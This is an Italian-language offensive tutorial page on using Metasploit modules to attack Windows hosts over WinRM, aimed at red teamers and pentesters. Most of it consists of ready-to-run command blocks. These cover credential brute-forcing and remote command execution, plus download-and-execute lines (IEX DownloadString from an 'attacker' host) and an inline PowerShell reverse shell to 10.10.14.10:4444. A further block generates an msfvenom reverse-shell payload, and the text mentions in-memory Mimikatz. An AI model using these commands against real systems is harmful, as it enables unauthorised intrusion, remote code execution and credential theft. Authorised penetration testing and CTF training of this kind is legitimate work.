Tutorials

📌 Metasploit & WinRM – Guida avanzata all’utilizzo dei moduli specifici

Questa guida è pensata per operatori red team e penetration tester che vogliono sfruttare l’accesso WinRM in contesti reali o CTF-based, con particolare attenzione ai moduli Metasploit realmente effic

#exploitation#windows

📌 Metasploit & WinRM – Guida avanzata all’utilizzo dei moduli specifici

Questa guida è pensata per operatori red team e penetration tester che vogliono sfruttare l’accesso WinRM in contesti reali o CTF-based, con particolare attenzione ai moduli Metasploit realmente efficaci e pronti all’uso.


✅ Contesto operativo

  • Hai già ottenuto un set di credenziali valide (via brute-force, Kerberoasting, LLMNR, ecc).
  • Il servizio WinRM è attivo sul target.
  • Hai bisogno di interagire via WinRM per eseguire comandi PowerShell, trasferire payload o pivotare.

🔧 Moduli principali Metasploit per WinRM


🔹 auxiliary/admin/winrm/winrm_command

Esegue comandi singoli su sistemi remoti via WinRM
  • Scenario tipico: verifica rapida di accesso, esecuzione comandi come whoami, ipconfig, net localgroup.
  • Limitazione: esecuzione di comando singolo, non persistente.
bash
use auxiliary/admin/winrm/winrm_command
set RHOSTS 192.168.1.100
set USERNAME administrator
set PASSWORD 'P@ssw0rd123'
set COMMAND "ipconfig /all"

run


🔹 auxiliary/admin/winrm/winrm_ps

Esecuzione di blocchi PowerShell, utile per payload complessi, script esterni, o attacchi fileless.
  • Supporta payload come PowerView, Nishang, Mimikatz (in memoria).
  • Più flessibile del modulo winrm_command.
bash
use auxiliary/admin/winrm/winrm_ps
set RHOSTS 192.168.1.100
set USERNAME administrator
set PASSWORD 'P@ssw0rd123'
set PS_COMMAND "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"

run


🔹 auxiliary/scanner/winrm/winrm_login

Modulo di brute-force username/password via WinRM
  • Utile per validare accessi in fase iniziale.
  • Supporta wordlist multiple per username e password.
bash
use auxiliary/scanner/winrm/winrm_login
set RHOSTS 192.168.1.100
set USER_FILE users.txt
set PASS_FILE passwords.txt

run


🔹 exploit/windows/winrm/winrm_script_exec 🧨

Modulo exploit specifico per WinRM che permette di caricare ed eseguire script PowerShell tramite WinRM con credenziali valide.
  • Non è una vera "vulnerabilità", ma sfrutta accesso lecito per eseguire comandi.
  • Inietta script o comandi inline direttamente in sessione remota.
  • Può lanciare un payload (es. reverse shell PowerShell) in modo fileless.

#### ✅ Esempio operativo con reverse shell PowerShell:

bash
use exploit/windows/winrm/winrm_script_exec
set RHOSTS 192.168.1.100
set USERNAME administrator
set PASSWORD 'P@ssw0rd123'
set COMMAND "IEX(New-Object Net.WebClient).DownloadString('http://attacker/rev.ps1')"
set TARGET 0

run

Se preferisci integrare direttamente il payload inline:
bash
set COMMAND "powershell -nop -w hidden -c \"$client = New-Object Net.Sockets.TCPClient('10.10.14.10',4444);$stream = $client.GetStream();..."

🧠 Vantaggi del modulo winrm_script_exec:

  • Non necessita upload di file.
  • Esegue codice in memoria.
  • Può essere utilizzato in combinazione con multi/handler.

⚙️ Metodologia suggerita (pratica operativa)

1. 🔎 Enumera porte WinRM con nmap:

bash
nmap -p 5985,5986 --open -sV -Pn target
2. 🧪 Valida credenziali con: - crackmapexec winrm - auxiliary/scanner/winrm/winrm_login 3. ⚔️ Attacca con: - winrm_ps o winrm_script_exec per eseguire PowerShell payload - winrm_command per singole istruzioni 4. 🛠️ Recupera shell Meterpreter con multi/handler in ascolto se usi payload custom


💡 Consigli operativi

  • ✅ Puoi usare msfvenom per generare il payload compatibile:
bash
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f     psh
  • ✅ Oppure integrazione con Empire, Covenant o Evil-WinRM in parallelo.
  • Attenzione: il modulo winrm_script_exec non bypassa restrizioni PowerShell, verifica ExecutionPolicy.